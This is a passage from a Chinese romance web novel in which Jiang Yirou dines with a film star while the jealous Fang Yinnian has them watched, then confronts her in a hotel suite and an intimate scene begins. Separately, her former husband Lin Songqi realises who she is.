姜以柔语调娇柔,说出口的话却让人恨得牙根痒痒。 “除非……”姜以柔眨了眨眼睛,嗓音又轻又软,“你把我关起来,我就不会去见顾先生了。” 但紧接着她话锋一转,带上了几分嘲讽之意:“不过,方总你可是连小三都不肯做呢,像您这样道德感高的人,应该也做不出强取豪夺的事吧?” 姜以柔微笑着说出这些刺耳的话,然后便好整以暇地盯着方隐年,尽情欣赏他的反应。 方隐年胸口剧烈起伏几瞬,幽黑的凤眸中盛满可怖的戾气,携着风雨欲来的压迫感。 就在姜以柔以为他会爆发的时候,方隐年缓缓闭了闭眼睛,再睁开时眸底一片近乎诡异的平静。 他嗓音沙哑,一字一句地说道:“好,我送你去。” 闻言,姜以柔面上浮现出一缕讶然,但很快又变为更浓厚的兴味。 好,她倒要看看,方隐年能忍到什么程度。 姜以柔好整以暇地笑了笑,丝毫不客气,“那就麻烦方总了。” 说完,她便抱着手臂不再说话。 方隐年也沉默着,车里的气氛一时间安静到近乎凝滞,格外的压抑。 顾星延选定的用餐场所在一家私人餐厅,据说是他朋友开的,隐秘性极好,不用担心被偷拍。 抵达餐厅后,姜以柔翩然下了车。她转身冲着后座的方隐年笑道:“方总,你先回去吧。” “吃完饭后,我会让顾先生送我回家的。”姜以柔语气轻快,却莫名透着股残忍,“已经不需要你了。” 说完,姜以柔便转身朝餐厅走去,那袅娜的背影中不见丝毫留恋。 方隐年眼神直勾勾地盯着她的背影,凤眸中情绪莫测。 不需要他了……是吗? 方隐年面无表情,搭在膝上的手却死死捏成拳,用力到手背青筋暴起。 过了一会儿,有人轻轻敲响了车窗。 方隐年放下车窗,外面出现了苏正渗着汗珠的脸。 “方总,您叫我来这儿是有什么事吗?”苏正简单擦了擦额头上的汗,难免疑惑地问道。 就在不久前,他突然接到方隐年的短信,让他赶来这个餐厅,还让他在门口等着。 方隐年沉声道:“进去盯着他们。” 苏正:“……啥?” 五分钟后,苏正一脸恍惚地走进了这间私人餐厅。 万万没想到,他堂堂特助现在还要干这种活…… 姜以柔已经进了餐厅,很快便由侍者领着进入了一个包厢。 顾星延已经到了,一见到她便立刻起身相迎,还绅士地帮姜以柔拉开座椅,“姜小姐,终于又见面了。” 顾星延的外形实在很突出。他身材高大结实,长相精致俊美,笑起来的时候那双桃花眼仿佛盈着明亮的星子,格外深情而动人。 难怪从出道起就被评为内娱必吃榜榜首。 他望向姜以柔的目光是浓浓的惊艳与欣赏,同时又很克制,不会让人感到冒犯。 姜以柔施施然落座,优雅地对他道了声谢。 顾星延在她对面坐下,什么都还没说,便先送上了一份礼物。 他温柔地微笑道:“姜小姐,见面礼,看看喜不喜欢?” 姜以柔伸手接过那个精美的礼盒,打开看向里面的东西,下一秒就惊讶地瞪圆了一双美丽的眸子。 盒子里静静地躺着一条翡翠项链,其大小、成色及工艺等堪称姜以柔见过的最完美的翡翠,周围镶嵌着同样价值不菲的钻石,连它的链条都是全部用钻石镶嵌而成的。 这条项链绝对算得上顶级珍品,恐怕比拍卖会那天,顾星延送她的所有首饰加起来还要贵许多倍。 姜以柔惊讶地打量着这条项链,根本移不开视线,一双眸子亮晶晶的。 她有些迟疑地看向顾星延,道:“顾先生,这太贵重了……” 顾星延笑得潇洒而儒雅,完全不见送出天价项链的丝毫心疼,他专注地望着姜以柔,温声道:“姜小姐,你只管收下,不需要有心理负担。” 他语带调侃道:“其实,这条项链是十年前我的成人礼上,我妈妈亲手交给我的。他让我送给以后的妻子。” “可惜的是,这么多年我都没遇到过一个能让我动心的人,这条项链就一直没能送出去。”顾星延耸了耸肩膀,一副无奈的模样。 姜以柔笑容微敛,“那我就更不能收了……” 顾星延温柔地注视着她,认真道:“姜小姐,你放心,我送你这条项链,不是想借此绑架你跟我在一起。” “我只是单纯觉得,最好的珠宝就该配最美的人。” 顾星延轻轻掂起那条价值上亿的项链,眼里却只有姜以柔,他一字一句认真道:“姜小姐,你就是它最好的归宿。” “能被你戴在身上,才算是没有埋没它。” 顾星延笑意清浅,桃花眸中盈着几乎能溺死人的温柔,微低的磁性嗓音格外蛊惑人心,他缓声道: “姜小姐,收下它吧。这会是它的荣幸,也是……我的荣幸。” 姜以柔眼神微动,第一次认真打量起这位星光万丈的大明星。 良久,她轻轻一笑,那一低头的娇羞,明艳如三月桃花,几乎能灼伤人的眼睛。 顾星延被她那嫣然一笑惊艳了,怔怔地看着她,呼吸都有几分急促。 他甚至忘记了表情管理,哪还有半分身为巨星的从容,只像个没见过世面的毛头小子。 姜以柔有些不好意思地笑着,手上却依旧把项链推到了顾星延的面前。 顾星延以为她还是不肯收,顿时有些着急,还要再劝:“姜小姐,你……” 下一秒,姜以柔却轻笑着打断了他,“顾先生,我是想让你帮我戴上它。” 她笑意温柔,望向顾星延的眼神中少了几分客套的疏离,多了些自然的亲近。 顾星延好一会儿才反应过来,桃花眸中顿时绽放出灼灼亮光。 他喉结微滚,半晌才嗓音微哑地吐出一个字,“好。” 顾星延深吸一口气,尽量镇定地走到姜以柔身后,他微微俯身,将那条项链拢在姜以柔胸前。 顾星延身形高大,微微俯身时,简直像是将娇小的姜以柔完全拢在怀中,强烈的体型差碰撞出无声的暧昧,空气都仿佛灼热了几分。 顾星延将项链绕过那纤长优美的脖颈,小心翼翼地试图帮她扣上。 然而,那双练了多年钢琴的手此时却微微有些颤抖。 顾星延的目光不受控制地落在姜以柔的身上,从她因羞涩而轻轻颤抖的睫羽,到饱满而娇嫩的红唇。 这个俯视的角度太过暧昧,就像是她柔弱地依偎在他怀中,瞬间激起人浓烈的保护欲。 顾星延清晰地听到了自己沦陷的声音。 他深吸一口气,强迫自己冷静下来,小心翼翼地为她扣上项链。 等到他终于为她戴好时,他的目光自然而然地顺着这条项链落在她的胸口,却猝不及防地被那起伏的美景晃了心神。 顾星延呼吸一滞,暗骂自己一声,立刻克制地移开视线,并且他迅速起身,礼貌地跟姜以柔拉开了距离。 他平复了一下呼吸,才缓步回到自己的座位。 姜以柔刚才去买衣服,回来的时候直接换上了一条法式长裙,胸口处露出大片雪白的肌肤,此时那条翡翠项链就点缀在其中,美得如梦似幻、惊心动魄。 姜以柔轻轻抚了下这条项链,唇角勾起一个满意的笑容。 “好看吗?”她抬眸望向顾星延,粲然一笑。 顾星延怔怔地看着她,喉结微微滚动了下,哑声笑道:“你更好看。” 姜以柔挑眉睨了他一眼,这带着嗔意的一记媚眼差点把顾大明星的魂儿都勾没了,他满肚子撩人的话再也说不出一句,只知道痴痴地看着她。 姜以柔微微垂眸避开他的视线,唇角翘起一个玩味的弧度。 这个顾星延……还挺有意思的。 与此同时,餐厅外的方隐年收到了一张照片。 照片似乎是在更高的楼层拍的,极致卡视角才勉强拍到画面,所以略显模糊。 但方隐年还是一眼就能认出来,照片上的女人是姜以柔,男人……估计就是那个姓顾的男人。 照片中的他们姿态亲密,男人似乎将姜以柔搂在怀中,而她竟然毫不反抗…… 方隐年死死盯着这张照片,凤眸中翻涌的冷厉几欲爆发。 这一瞬间的愤怒摧垮了他所有的理智,也让他忘尽了什么道德和底线。 方隐年阴寒着脸下车,反手甩上车门时发出砰的一声巨响,怒意勃发。 第85章 方隐年阴沉着脸大步朝餐厅走去, 浑身逸散着惊人的戾气。 然而,刚踏入餐厅大门,他便猛地顿住了脚步。 方隐年站在原地, 俊脸绷得冷硬,一双凤眸阴晴不定地闪烁着,似乎在沉思着什么。 如果他就这么直接冲到姜以柔和那个男人面前, 他能做些什么呢? 警告那个男人, 让他离姜以柔远点? 可是他似乎根本没资格。他跟姜以柔没有任何关系,甚至连“小三”都不是, 凭什么去指手画脚? 还是不顾一切地一拳揍到那个男人脸上? 那他跟他那任性的侄子有什么区别? 方镜麒毕竟年轻,冲动起来还可以说是少年意气;他若是做这么没脑子的事……那就是笑话了。 方隐年的脚下像是生了根,再迈不出一步, 他的双手死死捏成拳, 手背上暴起的青筋昭示着他的隐忍。 良久,方隐年深吸一口气,终于暂时压住了胸腔里翻涌的戾气。 他没再往餐厅里走,而是拿出手机, 拨通了一个电话。 他面无表情, 嗓音像是淬了冰一样冷:“有个叫顾星延的明星,查一下他……” * 餐厅里,姜以柔和顾星延的“约会”十分顺利。 顾星延面含笑意, 一脸温柔地帮她布菜,递纸巾……处处妥帖地照顾她, 简直无一处不细心。 姜以柔这顿饭吃得很是舒心, 不过…… 姜以柔单手托腮,一边跟顾星延谈笑,一边状似不经意地瞥了眼不远处一个角落, 她能明显感觉到一股暗中的窥视——属于鬼鬼祟祟的苏正。 他刚刚还偷拍了姜以柔和顾星延的照片发给了自家老板。 姜以柔忍不住轻轻一笑,下一秒就端起茶杯轻啜一口,掩饰唇边玩味的笑意。 看来……某人也没那么淡定嘛。 一顿饭快要结束时,顾星延终于忍不住问出了心中所想。 他紧紧盯着姜以柔,一双桃花眼亮得惊人,那张被粉丝誉为神颜的脸上浮现出些许期待:“姜小姐,你今天来赴约,是不是……愿意给我一个机会?” 闻言,姜以柔含笑望向他,清晰地捕捉到了他眼底的些许紧张之意。 说实话,顾星延比她想象中更沉得住气,她还以为刚一见面,他就会忍不住问他要一个答案呢。 姜以柔若有所思,忍不住伸手摸了摸脖颈上价值上亿的翡翠项链。 姜以柔笑得很温柔,她并没有给顾星延一个明确的答复,只含糊地说道:“顾先生,我觉得你很好,但我希望我们能再多相处一下……” 顾星延有一瞬间的失落,但很快就打起了精神,温声笑道:“姜小姐,我会让你看到我的诚意。” 姜以柔不置可否地笑了笑,继续跟他聊天。 不得不说,顾星延是个很不错的男人,长相是她认识的男人里独一份的精致俊美,人还特别温柔体贴,最难得的是说话风趣又幽默,让人忍不住心生亲近。 原本,姜以柔答应他的邀约多半是为了气方隐年,此时却意外的很满意。 穿来这个世界后,她接触比较多的男人里,不是谢凛和方隐年那种傲气寡言的,就是方镜麒那种易燃易爆的,真难得遇上一个如此温柔体贴的男人。 两人一边吃饭一边聊天,气氛格外融洽。 中途,姜以柔起身去了趟卫生间。 从卫生间出来的时候,她迎面撞了一个熟人。 对面的男人穿着件长风衣,步履匆忙,脸上还带着些疲惫之色,见到她后眼睛却骤然亮了亮。 “你……你是姜渔同学的妈妈。”男人迎上前,紧紧盯着她的脸说道。 见到来人,姜以柔面上的笑意瞬间冷淡下去。 林松齐,或者说是林维刚,姜渔那个抛弃妻女的烂人爹。 这是姜以柔在确认他的身份后,第一次见到这个男人。 不过,她暂时还没有拆穿他的打算,有些事需要从长计议。 所以她连看都懒得看他一眼,绕过他径直离开了,全程没有给他一个好脸色。 林松齐面上的笑容瞬间凝固了,他下意识地转身想要拦住她,身后传来的呼喊却让他身形一顿。 “林总,大家都等你呢,快来啊!” 林松齐深吸一口气,艰难地把目光从那道曼妙的身影上移开,转身进了自己的包厢。 他端起酒杯,神色自如地跟对方寒暄道:“陈总,我敬你一杯,咱们的合作关系可不能断啊……” “唉,林总,我当然不想断了咱们的关系,只是赵文泽那边……到底是怎么回事啊?” “他到底得罪了哪路神仙?他人都在ICU躺着呢,公司也一片混乱,你们俩关系那么近,我实在是心里没底啊……” 林松齐面色微沉,很快又强撑起一个笑意,镇定地说道:“陈总,您想多了,文泽纯粹是出了意外,我们这边没有任何问题……” 前两天,赵文泽突然被送进ICU抢救,赵氏的公司也像是被人针对了一般,连着丢了好几个大单子。 林松齐跟赵文泽之间一直合作紧密,可谓是一损俱损,所以他这两天一直在跑各种关系,试图稳住情况,累得身心俱疲。 觥筹交错间,林松齐一阵恍惚,不由自主地又想起了那个美得出奇的女人。 为什么?为什么他总是觉得她很眼熟呢…… 林松齐从第一次见到她后,就莫名有种熟悉的感觉。原本他想好好查一下她,可中间被各种事情绊住了脚,始终没来得及。 直到现在,他甚至连她的名字都不知道。 等此间事了,他必须要好好了解一下她,弄清楚他对她的熟悉感从何而来…… 林松齐仰头喝下一杯酒,醉得头疼欲裂,心里却仍止不住地惦念那道美丽的身影。 姜以柔并没把偶遇林松齐的事情放在心上,她回到位置上后,又跟顾星延聊了一会儿,随后便提出了告辞。 顾星延询问道:“你家在哪里?我送你回去。” 姜以柔刚想报上自己家的地址,下一秒却突然住了嘴。 她不动声色地瞥了眼旁边,确认那道窥视的视线还在,不由得眸光微闪。 方隐年比她想象中更沉得住气,他居然能容忍她跟顾星延吃完一整顿饭,而没有刻意破坏。 但凡是谢凛或方镜麒中的任何一个人,都绝对做不到如此冷静。 这老男人,还挺难搞的。 既然如此……她就再添一把火好了。 姜以柔有些坏心眼地翘了翘唇角,一本正经地撒谎道:“顾先生,我家最近在装修,所以都睡酒店,麻烦你送我去酒店吧。” 她倒是要看看,当方隐年看到她和顾星延去往酒店的时候……还能不能继续做那个清醒理智的“佛子”。 顾星延闻言有些意外,但并没有多想,只笑着点头道:“好。” 然后顾星延就开车送姜以柔回去了。 一路上,姜以柔都有些漫不经心的,不知道在想什么。 过了一会儿,他们顺利抵达酒店,路上没有出任何意外。 顾星延在酒店门口停了车,本想送姜以柔到房间门口,却突然接了个电话。 顾星延的脸色一点点难看下来,他揉了揉眉心,抱歉地对姜以柔说道:“有个谈好的代言合作突然出了问题,我得去紧急处理一下……” 姜以柔眼底掠过一丝了然的笑意,十分善解人意地说道:“没关系,你快去吧。” 顾星延却没有立刻离开,而是定定地望着她,桃花眼里自带深情,问道:“姜小姐,我下次还能约你吗?” “当然。”姜以柔笑着点了点头。 姜以柔下车后摆了摆手,目送顾星延开车远去后,不动声色地扫了眼四周。 然后,她依旧转身朝酒店走去。 进入这间五星级酒店后,姜以柔很阔绰地给自己开了间最贵的套房。 进屋之后,她施施然坐在客厅的沙发上,什么都不做,只耐心地等待着。 果然,过了没一会儿,她的手机就收到了一条信息: 【开门。】 瞬间,姜以柔唇角勾起一个得逞的笑意,狡黠得像只狐狸。 她起身走到门边,拉开房门后,果不其然看到了方隐年那张阴沉至极的脸庞。 姜以柔笑着侧身,语调慵懒地邀请道:“进来吧,方总。” 说完她便转身走回房内,没骨头似的靠在了沙发上。 方隐年目光沉沉地盯着她良久,终于迈步走进屋内。 他一步一步朝姜以柔走近,高大的身躯携着浓重的压迫感。 直到站定在姜以柔面前,他居高临下地睨着她,嗓音幽冷:“你在等那个姓顾的吗?” 姜以柔挑了挑眉梢,随口应道:“是啊,本来我应该跟顾先生度过一个愉快的夜晚,可惜……” 方隐年深吸一口气,并没有被她激怒,只神情冰冷地盯着她。 良久,他突然开口,嗓音有些沙哑:“为什么?” “什么为什么?”姜以柔心不在焉地把玩着自己的头发。 方隐年沉默片刻,咬着牙说道:“明明你才刚认识他没多久,为什么……” 他为姜以柔付出了多少,才换来她的垂怜。 而那个姓顾的,他才只见过姜以柔两面,凭什么得到她的青睐? 凭什么?! 姜以柔耸了耸肩,不以为意地说道:“谁让你不肯陪我呢?那我只能找其他乐子了,正好顾星延又很不错……” 方隐年沉默地凝视着她,在听到她轻描淡写地说出那样可恶的话后,背在身后的手猛然攥紧,凤眸中翻滚着几欲爆发的阴戾。 几秒钟之后,方隐年缓缓闭了闭眼睛,再睁开眼时,里面是近乎诡异的平静。 他突然转身朝门口走去。 姜以柔神情一滞,有些不敢置信地瞪着他的背影—— 她话都说到这份儿上了,方隐年还要走? 姜以柔有些无语地翻了个白眼,冲着他的背影小声嘀咕了句,“真无趣。” 然而出人意料的是,方隐年走到门口,却并没有离开。 他缓缓抬起手——咔的一声反锁了房门。 锁门声在安静的房间内分外清晰,也让姜以柔不由得愣了一瞬。 锁好门之后,方隐年再度转身,深深地望向姜以柔。 他英俊的面上没什么表情,那双狭长幽黑的凤眸中情绪莫测,如深渊般仿佛能将人吞噬。 姜以柔怔怔地与他对视,这一瞬间,身体深处蓦地涌上一股触电般的战栗。 仿佛预感到了,有什么事即将要发生。 第86章 同一时间, S市某别墅区,乐家。 随着一辆豪车驶入,车上跳下来一个青春靓丽的女孩, 她蹦蹦跳跳地回了家,正是乐柠。 “妈妈,我回来啦!”乐柠人未到声先至, 欢快地大喊道。 乐柠进门后, 将书包外套都递给佣人,一边换鞋一边继续喊道:“妈妈, 我定做的请柬到了没有啊?” 过了一会儿,隐隐的脚步声响起,从二楼走下来一个矜贵优雅的美人。 她嗔怪地瞪了乐柠一眼, 细声细语地埋怨道:“疯丫头, 就不能淑女点吗?” 她就是乐柠的妈妈乐婉儿。港城豪门乐家的独生女。 她今年也有四十岁了,但保养的极好,美丽优雅,一颦一笑间都充满魅力。 乐柠嘿嘿一笑, 冲上前先亲了妈妈一口, 然后迫不及待地问道:“妈妈,东西到了没有啊?” 乐婉儿亲昵地点了点她的鼻尖,笑道:“到啦。” 说着, 乐婉儿便招来佣人,让他们抱过来一个箱子。 乐柠欢呼一声, 立刻冲上前抱住箱子, 爱不释手地打量着里面的东西。 箱子里是一堆请柬,是乐柠为自己即将到来的生日宴会亲自设计并定做的,请柬粉粉嫩嫩的, 完全是少女风格的可爱,看着非常赏心悦目。 乐柠满意地看了又看,当即激动地宣布道:“我现在就开始写请柬!” 乐柠慎重地洗了手,就在客厅里开始写请柬,她第一个就写下了姜以柔的名字。 看着请柬上工整又郑重的“姜以柔”三个字,乐柠满意地笑了笑,小心翼翼地将写好的这份放在一边。 乐婉儿一边悠闲地吃着水果,一边斜靠在沙发上陪着女儿。 她漫不经心地拿过那张写好的请柬,轻轻念出上面的名字,“姜以柔……” 她笑了笑,随口问道:“这就你天天说的那个特别漂亮的同学妈妈?” “哎呀,妈妈你快还给我,你手上有水,小心弄湿了!”乐柠赶紧夺过她手里的请柬,紧张地查看了下有没有问题。 乐婉儿撇了撇嘴,轻哼道:“我看你心里只有你的姜阿姨,都没我这个妈妈了。” 乐柠讪讪一笑,赶紧使出浑身解数去哄她,好不容易才把她妈哄得眉开眼笑。 乐柠在心里偷偷叹了口气。 她妈妈从小被宠到大,现在又有老公宠,简直比她还像个孩子,幼稚得很。 也只有她爸爸能时刻哄得妈妈心花怒放。 想到此,乐柠顺势问道:“爸爸呢?他怎么还没回家?” 一提到丈夫,乐婉儿面上浮现出一个甜蜜的笑容。 哪怕已经结婚十几年,她仿佛仍然处于热恋中。 不过,她很快就有些不悦地沉下脸,幽怨地说道:“松齐打来电话说,工作那边出了点意外,要晚点才回来。” “什么意外啊?”乐柠下意识地追问道。 乐婉儿想了想,不甚在意地说道:“好像是你赵文泽叔叔出事了吧?听说他住院了,你爸爸先去医院看了他,现在又处理他留下的烂摊子呢……” “赵叔叔?”乐柠眨了眨眼睛,突然想起了什么,问道,“对了,赵叔叔的儿子……好像叫赵承是吧,不是说要转来我们学校吗?大概什么时候来呀?” 乐婉儿耸了耸肩,说道:“转学的事儿好像被卡了,不知道还能不能成。赵文泽估计是得罪了什么人吧,否则也不会这么惨……” 乐柠有些懵懂地“哦”了一声,心里倒是没什么波澜。因为他并不喜欢爸爸的这个朋友。 包括乐婉儿也是一样的。 她不由得抱怨道:“那赵文泽一看就是个不安分的,也不知道你爸爸为什么非得跟他当朋友。我真怕你爸爸跟他学坏了,也去外面包养小情人……” 乐柠大咧咧一笑,温声宽慰道:“不会的,妈妈,别瞎想,你还不了解爸爸吗?他满心满眼只有你的!” 听了女儿的安慰,乐婉儿不由得露出一个甜蜜的笑容,嗔怪道:“就你嘴甜。” 母女俩一边聊天,一边忙碌着各自的事情,气氛十分温馨。 过了许久,门口处才传来开门的动静。 母女俩齐齐望去,便看见林松齐一脸疲惫地走了进来。 乐婉儿原本在给女儿剥橙子,见状立刻扔下一切,着急地迎了上去。 “老公,你回来啦,累不累啊?”乐婉儿体贴地接过他的外套。 林松齐在她额上吻了一下,轻笑道:“没事,不累。” 乐柠也放下手里的请柬,蹦蹦跳跳地跑上前,甜甜地说道:“爸爸辛苦啦!” 林松齐揉了揉女儿的头发,笑得慈爱又温和。 这一家人不光颜值高,还如此温馨,堪称模范家庭。 林松齐坐到沙发上,享受着妻子的特意端上的热茶,他轻啜一口茶,随意扫了眼桌上的请柬,笑着问道:“这是什么?” 乐柠便兴致勃勃地解释了一通,激动得小脸通红。 林松齐随手拿起一张请柬,下意识地念出来上面的人名。 “姜以柔……” 这个名字一出口,林松齐便怔住了,一股强烈的熟悉感涌上心头。 乐柠兴冲冲地说道:“这是姜阿姨的名字哦!我生日的时候第一个就要邀请她!” 林松齐微微一怔,问道:“姜阿姨……是那位姜渔同学的妈妈吗?” “对啊!” 林松齐不由得想起刚才在餐厅里的惊鸿一瞥,他恰好遇到了姜渔的妈妈,那个美丽至极的女人,可惜的是,她未曾理会他。 “姜以柔……”林松齐若有所思地咀嚼着这个名字,越念越觉得熟悉。 她的名字,和她的人一样,都带给他一种近乎诡异的熟悉感,却不知道从何而来。 “以柔……以柔……” 林松齐怔怔地呢喃着,突然间,这个有些特殊的名字像是一把钥匙,蓦地打开了他某扇尘封已久的记忆之门。 以柔……以柔克刚…… 林松齐脑子里轰的一声,犹如一道惊雷劈过,瞬间照亮了那些深埋心底近二十年的记忆。 姜以柔,这个名字实在太特殊了。 在他还是小山村里走出来的“林维刚”时,经常听到有人打趣他们“以柔克刚”,天生一对。 这个名字一出现,终于唤醒了那些陈旧的记忆,也解释了他的熟悉感从何而来。 记忆中的“姜以柔”这个人,也跟他前几天所见到的美丽女人渐渐重合。 林松齐蹭的从沙发上站起身,满脸惊骇,眼神中还带着一丝茫然无措。 原来……那个让自己感到无比熟悉,也无比惊艳的女人,竟然曾经属于他?! 这一刻,铺天盖地的悔意将林松齐瞬间淹没,压得他几乎喘不过气来。 林松齐痛苦地捂住脑袋,现在他脑子里无比混乱,只有一个念头格外清晰—— 他要去找她! 林松齐拔腿就往门口跑,没有丝毫犹豫。 林松齐脸色苍白,神情甚至隐隐带着几分狰狞,像是受了什么莫大的刺激,踉踉跄跄地朝门口奔去。 他动作狼狈,满是仓惶和急切,冲向门口时还不小心撞倒了一个落地花瓶。 砰的一声,花瓶落地炸开一地的碎片,巨大的声响仿若一道惊雷,劈在了所有人的心头。 乐婉儿和乐柠都被他异常的反应吓坏了,愣愣地看着他,不知所措。 眼看着他要跑出家门,乐婉儿不知为何心里一紧,下意识地喊了一声:“松齐!” 林松齐的脚步瞬间停滞,浑身僵硬地立在原地。 乐婉儿迅速跑到他身边,紧张地一把抱住他的手臂,关心地问道:“松齐,你怎么了?” 林松齐的面上还残留着方才的震惊和痛苦,但眼神已经渐渐清明,似乎正慢慢恢复理智。 他深呼吸几次,表情怔怔地垂眸望向自己的妻子,眸光格外复杂。 林松齐面上显出几分挣扎之色,似乎在权衡着什么。 乐婉儿疑惑不解地看着他,抱着他的手臂轻轻晃了两下,语气里自然而然流露出嗔怪:“你说话呀?刚才怎么回事,吓死我了……” 林松齐人还未完全反应过来,手臂已经很自然地环上她的肩头,安抚般轻轻拍了拍。 这个动作熟练得简直像是他的本能,一看就做过无数次。 而乐婉儿也十分熟练地靠在了他的肩头。 良久,林松齐沉沉地吐了口气,有些痛苦地闭上了眼睛,再睁开眼时,眸中是一片死寂。 他勉强冲着妻女扯出一个难看的笑容,说道:“没事。” 他揽住妻子的肩膀,带着她缓缓往屋里走去,轻声细语地说道:“我刚才突然想起一点事,但是明天再处理也没关系,走吧,不是说要吃饭吗……” 乐婉儿和乐柠虽然有些奇怪,但并未多想,一家人热热闹闹地坐在了餐桌前。 每一个人都笑得很开心,似乎一切如常。 如果忽略林松齐复杂的眼神。 * 姜以柔并不知道,林松齐已经在阴差阳错的巧合下,记起了“姜以柔”这个被他无情抛弃的前妻。 不过,就算她知道了,恐怕也不会在乎。 此时此刻,她正紧紧盯着方隐年,面上涌上些许古怪之色。 刚才方隐年转身朝门口走去的时候,她还以为方隐年会怒而离开。 然后,他或许会硬撑着好几天不搭理她,以展示他坚决不做小三的决心。 就像当初拒绝她的谢凛一样。 可是,姜以柔万万没想到,方隐年居然……是去反锁房门的。 他反锁房门,是要做什么? 姜以柔紧紧盯着那高大的身影,心跳莫名加快了许多。 随着清脆的落锁声响起,方隐年缓缓转身,目光直勾勾地钉在姜以柔身上。 他沉默地立在门边,那双凤眸因居高临下的睨视而带着几分冰冷,如同无情睥睨的神佛。 方隐年一如既往的冷淡,那张英俊至极的脸上没什么太大的波澜,但不知为何,姜以柔莫名有种心里发毛的感觉。 方隐年就这么静静地看了姜以柔一会儿,半晌,他终于动了。 他长腿一迈,缓步朝姜以柔走去。他的步伐不急不缓,皮鞋磕在地面上发出有节奏的轻响。 一声又一声的脚步,在针落可闻的房间里清晰回荡。像是踩在人的心头,带来莫名的震颤。 很快,方隐年就走到了沙发旁边,他居高临下地睨着姜以柔,神情平静。 像是野兽在吃掉猎物之前最后的怜悯。 姜以柔正倚靠在沙发上,眼睛正好平视方隐年的腰部,入目就是他那条皮质腰带。 姜以柔难得有些不自在,将视线从他腰胯处移开,试图仰头直视他的眼睛。 方隐年那双凤眸从未如此可怕过,深得像是望不见底的寒潭,冷而幽深,仿佛能将人吞噬。 姜以柔心头蓦地一跳,总觉得此刻的方隐年有些陌生。 她不由得蜷起腿,将膝盖抱在胸前,是一个近乎防御的姿势。 她跟他对视良久,有些受不了这诡异的气氛,试探地开口道:“……方隐年?” 在她轻轻喊了他的名字后,方隐年眼神微动,终于有了动作。 他蓦地俯下身体,高大的身形如山岳般压下,那宽阔的肩背将姜以柔整个人都笼罩了,他独有的那股檀香气无孔不入地包裹住了她。 姜以柔只觉得眼前一黑,随即一股失重感猛地传来——方隐年将她一把抱了起来。 她不由得惊叫一声,条件反射地搂住了方隐年的脖颈。 方隐年抱起她后也不说话,转身径直往一个方向走去。 姜以柔惊魂未定地瞄了一眼——他的目的地似乎是床。 姜以柔还没来得及消化方隐年这反常的行为,就已经被他一把压在了床上。 方隐年一手撑在她脸侧,另一只手缓缓抚上她的脖颈,用指尖轻轻挑起了她颈上的翡翠项链。 方隐年面无表情地打量着这条项链,发出一声轻轻的嗤笑。 他俯身逼近,几乎与她鼻尖相贴,凤眸里是翻涌的怒意,他语气冰冷,一字一句道:“就这么一条项链,也值得你对他另眼相看?” 姜以柔眨着眼睛看他,还没来得及回话,方隐年便冷着脸解开了那条项链,扬手一抛,竟直接扔了出去。 姜以柔瞬间心疼地瞪大了眼睛,立刻想要起身去捡。然而下一秒,她再也无法动作。 方隐年身体微沉,将姜以柔牢牢压制得动弹不得,然后猛地吻住了她的唇。 方隐年的吻来势汹汹,他的人看着很冷,唇舌却是滚烫的,缠住姜以柔疯狂掠夺,几乎让她喘不过气来。 很快,姜以柔就无心再想那条项链了。 她喉间溢出一丝轻哼,眼尾被逼得泛起潮红的湿意。她被勾得身体软了大半,手臂如同水蛇般绕上了方隐年的脖颈。 方隐年微微一滞,然后像是被鼓励了一般,更加用力地环住了她。 唇舌交缠间,气氛急剧升温,空气仿佛都被点燃了,连同两人的理智一起焚烧殆尽。 姜以柔被亲得迷迷糊糊,心里闪过一个念头—— 方隐年这人看着是个清心寡欲的正经人,没想到疯起来的时候,跟谢凛比也不遑多让。 方隐年怀里抱着姜以柔,一双凤眸因充血而泛起猩红之色,他喘着粗气,在亲吻的空档垂眸看着身下的女人。 那张美艳如妖的脸庞染上了欲色的潮红,一双潋滟的眸子水蒙蒙的,微张的红唇被蹂躏得有些肿,吐息间尽是她勾人的幽香。 她简直能令任何男人疯狂。 他也不例外。 这一刻,方隐年将这么多年来的戒律清规,和所谓的道德底线,统统抛在了脑后。 他不想做什么好人,只想不顾一切地占有她。 哪怕他的爱意永远不能宣之于口……他也认了。 他胸口中翻涌的怒火尽数转化成了浓烈的欲望。 他的眼神不再像先前那般冰冷可怖,但却燃起灼灼的渴求—— 他绝不会再放过她。 【请点段评→】 方隐年眸色赤红,脖颈处暴起隐忍的青筋,又一次吻了上去,***。 姜以柔感觉到有只滚烫的大手撩起了她的裙摆,***,带起阵阵酥麻。 姜以柔轻哼一声,很是顺从地***,腿环住了他结实劲瘦的腰。 那只手带着些许颤意,轻轻抚上了***。 姜以柔不由得身体一颤,猛地抓紧了方隐年的衣服,水润的眸子舒服得微微眯起。 方隐年的动作有些生涩和笨拙,却有种小心翼翼的珍视,他在竭尽全力试图让她快乐。 然而,过了没一会儿,姜以柔就皱了皱眉头。 她一把推开方隐年,很是不悦地瞪了他一眼,但那双潋滟的眸子没有丝毫杀伤力,倒像是在勾引。 方隐年紧紧盯着她,呼吸一滞,想再一次俯身压下。 姜以柔却抬腿毫不客气地踹了他一脚,那只白嫩纤细的足就踩在他的胸口,抵住了他的攻势。 被方隐年里里外外亲了一通后,姜以柔早就从刚才方隐年可怕的脸色里缓过神了,她也不怵他了,就这么直接踩着他。 方隐年微微一怔,下意识地低头看去,目光落在那只脚上时,眸光微凝。 她白嫩的脚背上还有一丝极淡的血痕,是昨晚停电时被杯子划伤的,他亲手给她上的药。 当时他就握着这只脚,脑海里浮现出种种让他羞于承认的龌龊心思,现在…… 方隐年呼吸微重,抬手抓住那只脚,偏头在她脚背上轻轻吻了一下。 姜以柔挑了挑眉梢,又是一脚把他蹬远了些,她拧眉睨着方隐年,轻哼道: “方隐年,你技术也太烂了。” 摸了那么半天,结果却没有让她爽到,真是急死她了! 闻言,方隐年薄唇微抿,脸色不太好看,任何男人被说技术差,大概都会觉得难堪。 方隐年深吸一口气,定定地望着姜以柔,沉声道:“那……你教我。” 姜以柔挑了挑眉梢,反手撑住身体,起身凑近了方隐年。 她抬起手,葱根般纤细的手指轻轻抚上了他的唇。 方隐年的嘴唇很好看,唇形很完美,唇色很淡,微微抿起时,真的有种清冷又禁欲的感觉。 让姜以柔特别想……弄脏他。 姜以柔微微眯起一双潋滟的眸子,呵气如兰地诱惑道:“用这里。” 方隐年死死盯着她,凸起的喉结清晰地滚动了一下,随即他沙哑的嗓音响起: “好。” 方隐年平日里端的是清冷矜贵,那双狭长上挑的凤眸轻轻一扫,便自带高不可攀的傲气。 